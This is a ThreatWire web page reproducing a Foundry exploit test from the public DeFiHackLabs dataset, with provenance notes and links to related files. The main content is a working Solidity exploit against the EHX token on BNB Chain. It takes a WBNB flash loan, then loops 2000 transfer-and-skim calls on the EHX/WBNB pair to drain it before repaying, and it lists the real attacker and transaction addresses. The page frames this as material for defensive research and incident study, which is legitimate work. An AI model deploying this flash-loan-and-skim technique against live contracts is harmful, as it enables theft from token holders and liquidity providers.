Public reproduction file
src/test/2023-11/EHX_exp.sol
Public reproduction file for dataset entry EHX.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.10;4import "./../basetest.sol";5import "./../interface.sol";7// @KeyInfo - Total Lost : Unclear8// Attacker : https://bscscan.com/address/0xddaaedcf226729def824cc5c14382c5980844d1f9// Attack Contract : https://bscscan.com/address/0x9d0d28f7b9a9e6d55abb9e41a87df133f316c68c10// Vulnerable Contract : https://bscscan.com/address/0xe1747a23c44f445062078e3c528c9f4c28c50a5111// Attack Tx : https://app.blocksec.com/explorer/tx/bsc/0x8b528372b743b4b8c4eb0904c96529482653187c19e13afaa22f3ba4e08fbfbb13// @Info14// Vulnerable Contract Code : https://bscscan.com/address/0xe1747a23c44f445062078e3c528c9f4c28c50a51#code#L120016// @Analysis17// Post-mortem :18// Twitter Guy : https://x.com/MetaSec_xyz/status/172469199663861808619// Hacking God :21contract EHXExploit is Test {22 DVM private constant DPPOracle = DVM(0xFeAFe253802b77456B4627F8c2306a9CeBb5d681);23 Uni_Router_V2 private constant Router = Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E);24 Uni_Pair_V2 private constant EHX_WBNB = Uni_Pair_V2(0x3407c5398256cc242a7a22c373D9F252BaB37458);25 IERC20 private constant WBNB = IERC20(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c);26 IERC20 private constant EHX = IERC20(0xe1747a23C44f445062078e3C528c9F4c28C50a51);28 uint256 private constant blocknumToForkFrom = 33_503_911;29 // Value comes from raw data passed to function with selector '0x40b2f80f' (see attack tx)30 uint256 private constant flashAmountWBNB = 5_589_328_092_301_986_679;32 function setUp() public {33 vm.createSelectFork("bsc", blocknumToForkFrom);34 vm.label(address(DPPOracle), "DPPOracle");35 vm.label(address(Router), "Router");36 vm.label(address(EHX_WBNB), "EHX_WBNB");37 vm.label(address(WBNB), "WBNB");38 vm.label(address(EHX), "EHX");39 }41 function testExploit() public {42 emit log_named_decimal_uint(43 "Exploiter WBNB balance before attack", WBNB.balanceOf(address(this)), WBNB.decimals()44 );46 DPPOracle.flashLoan(flashAmountWBNB, 0, address(this), bytes("_"));48 emit log_named_decimal_uint(49 "Exploiter WBNB balance after attack", WBNB.balanceOf(address(this)), WBNB.decimals()50 );51 }53 function DPPFlashLoanCall(address sender, uint256 baseAmount, uint256 quoteAmount, bytes calldata data) external {54 WBNB.approve(address(Router), type(uint256).max);55 WBNBToEHX();56 uint256 amountEHXToTransfer = EHX.balanceOf(address(this)) / (300e6);57 uint256 i;58 // More iterations possible59 while (i < 2000) {60 EHX.transfer(address(EHX_WBNB), amountEHXToTransfer);61 EHX_WBNB.skim(address(this));62 ++i;63 }64 EHX.approve(address(Router), type(uint256).max);65 EHXToWBNB();66 WBNB.transfer(address(DPPOracle), baseAmount);67 }69 function WBNBToEHX() private {70 address[] memory path = new address[](2);71 path[0] = address(WBNB);72 path[1] = address(EHX);73 Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(74 WBNB.balanceOf(address(this)), 0, path, address(this), block.timestamp + 100075 );76 }78 function EHXToWBNB() private {79 address[] memory path = new address[](2);80 path[0] = address(EHX);81 path[1] = address(WBNB);82 Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(83 EHX.balanceOf(address(this)), 0, path, address(this), block.timestamp + 100084 );85 }86}Analysis
Dataset entry
Public Foundry test for “EHX” (2023-11-15). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
24 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/2023-11/AIS_exp.solSame month in the dataset · 98 lines
- src/test/2023-11/3913_exp.solSame month in the dataset · 163 lines
- src/test/2023-11/BRAND_exp.solSame month in the dataset · 50 lines
- src/test/2023-11/Burntbubba_exp.solSame month in the dataset · 175 lines
- src/test/2023-11/CAROLProtocol_exp.solSame month in the dataset · 228 lines
- src/test/2023-11/EEE_exp.solSame month in the dataset · 87 lines
- src/test/2023-11/FiberRouter_exp.solSame month in the dataset · 78 lines
- src/test/2023-11/grok_exp.solSame month in the dataset · 82 lines
- src/test/2023-11/KR_exp.solSame month in the dataset · 41 lines
- src/test/2023-11/KyberSwap_exp.eth.1.solSame month in the dataset · 229 lines
- src/test/2023-11/LinkDao_exp.solSame month in the dataset · 73 lines
- src/test/2023-11/MahaLend_exp.solSame month in the dataset · 118 lines
- src/test/2023-11/MetaLend_exp.solSame month in the dataset · 113 lines
- src/test/2023-11/bot_exp.solSame month in the dataset · 123 lines
- src/test/2023-11/MEV_0x8c2d_exp.solSame month in the dataset · 101 lines
- src/test/2023-11/MEV_0xa247_exp.solSame month in the dataset · 188 lines
- src/test/2023-11/OKC_exp.solSame month in the dataset · 341 lines
- src/test/2023-11/OnyxProtocol_exp.solSame month in the dataset · 348 lines
- src/test/2023-11/Raft_exp.solSame month in the dataset · 194 lines
- src/test/2023-11/RBalancer_exp.solSame month in the dataset · 49 lines
- src/test/2023-11/ShibaToken_exp.solSame month in the dataset · 202 lines
- src/test/2023-11/SwampFinance_exp.solSame month in the dataset · 123 lines
- src/test/2023-11/TheNFTV2_exp.solSame month in the dataset · 80 lines
- src/test/2023-11/TheStandard_io_exp.solSame month in the dataset · 236 lines
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0xddaaedcf226729def824cc5c14382c5980844d1f
- Attack Contract
0x9d0d28f7b9a9e6d55abb9e41a87df133f316c68c
- Vulnerable Contract
0xe1747a23c44f445062078e3c528c9f4c28c50a51
- Attack Tx
0x8b528372b743b4b8c4eb0904c96529482653187c19e13afaa22f3ba4e08fbfbb
- Twitter: https://x.com/MetaSec_xyz/status/1724691996638618086
- Explorer: https://bscscan.com/address/0xddaaedcf226729def824cc5c14382c5980844d1f
- Explorer: https://bscscan.com/address/0x9d0d28f7b9a9e6d55abb9e41a87df133f316c68c
- Explorer: https://bscscan.com/address/0xe1747a23c44f445062078e3c528c9f4c28c50a51
- Explorer: https://bscscan.com/address/0xe1747a23c44f445062078e3c528c9f4c28c50a51#code#L1200
File record
- Name
- EHX
- Path
- src/test/2023-11/EHX_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- d0a8795981ba0efd6bd9793b5cf44d77d322ef3f
- Language
- Solidity
- Size
- 87 lines
- Date
- 2023-11-15
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2023-11/EHX_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob d0a8795981ba0efd6bd9793b5cf44d77d322ef3f, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.